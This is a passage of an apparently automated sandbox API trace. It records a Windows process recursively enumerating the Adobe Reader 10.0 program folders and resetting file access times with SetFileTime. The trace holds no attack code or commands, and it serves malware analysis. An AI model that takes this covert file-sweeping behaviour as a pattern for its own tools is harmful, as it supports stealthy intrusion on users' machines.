ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="")) returned 1 [0083.700] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="")) returned 0 [0083.700] GetLastError () returned 0x12 [0083.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12b2300) returned 1 [0083.700] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12b2408) returned 1 [0083.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12b21f8) returned 1 [0083.700] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc58440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x301190, dwReserved0=0x0, dwReserved1=0x0, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0083.700] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5798, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="")) returned 1 [0083.700] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5798, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="")) returned 0 [0083.700] GetLastError () returned 0x12 [0083.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.701] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0083.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0083.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0083.701] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0083.701] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="reader_sl.exe", cAlternateFileName="")) returned 1 [0083.701] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt3d.dll", cAlternateFileName="")) returned 1 [0083.701] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTC.der", cAlternateFileName="")) returned 1 [0083.701] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ff90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScCore.dll", cAlternateFileName="")) returned 1 [0083.701] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0083.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0083.702] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.703] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0083.703] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0083.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.703] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0083.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.704] NtClose (Handle=0x178) returned 0x0 [0083.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0083.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0083.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.704] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0083.704] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.705] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.spi", cAlternateFileName="")) returned 1 [0083.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0083.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0083.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0083.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0083.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0083.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0083.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216d20 [0083.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b21f8 [0083.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0083.707] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.cfg", cAlternateFileName="")) returned 1 [0083.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0083.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0083.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0083.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0083.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0083.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216d40 [0083.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b2408 [0083.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0083.708] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.cfg", cAlternateFileName="")) returned 0 [0083.708] GetLastError () returned 0x12 [0083.708] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0083.708] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0083.708] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.709] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.spi", cAlternateFileName="")) returned 1 [0083.709] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.cfg", cAlternateFileName="")) returned 1 [0083.709] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.cfg", cAlternateFileName="")) returned 0 [0083.709] GetLastError () returned 0x12 [0083.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.709] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0083.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0083.709] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPPlugins", cAlternateFileName="")) returned 1 [0083.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0083.710] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.710] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.711] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0083.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.711] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0083.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.711] NtClose (Handle=0x180) returned 0x0 [0083.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0083.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0083.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0083.712] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0083.712] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.712] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x154e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADMPlugin.apl", cAlternateFileName="")) returned 1 [0083.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0083.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216d60 [0083.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b2300 [0083.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.714] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x154e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADMPlugin.apl", cAlternateFileName="")) returned 0 [0083.714] GetLastError () returned 0x12 [0083.714] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0083.715] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.715] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.715] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x154e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADMPlugin.apl", cAlternateFileName="")) returned 1 [0083.715] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x154e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADMPlugin.apl", cAlternateFileName="")) returned 0 [0083.715] GetLastError () returned 0x12 [0083.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0083.715] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0083.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0083.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0083.715] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlite.dll", cAlternateFileName="")) returned 1 [0083.715] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracker", cAlternateFileName="")) returned 1 [0083.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0083.716] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.717] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0083.717] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) 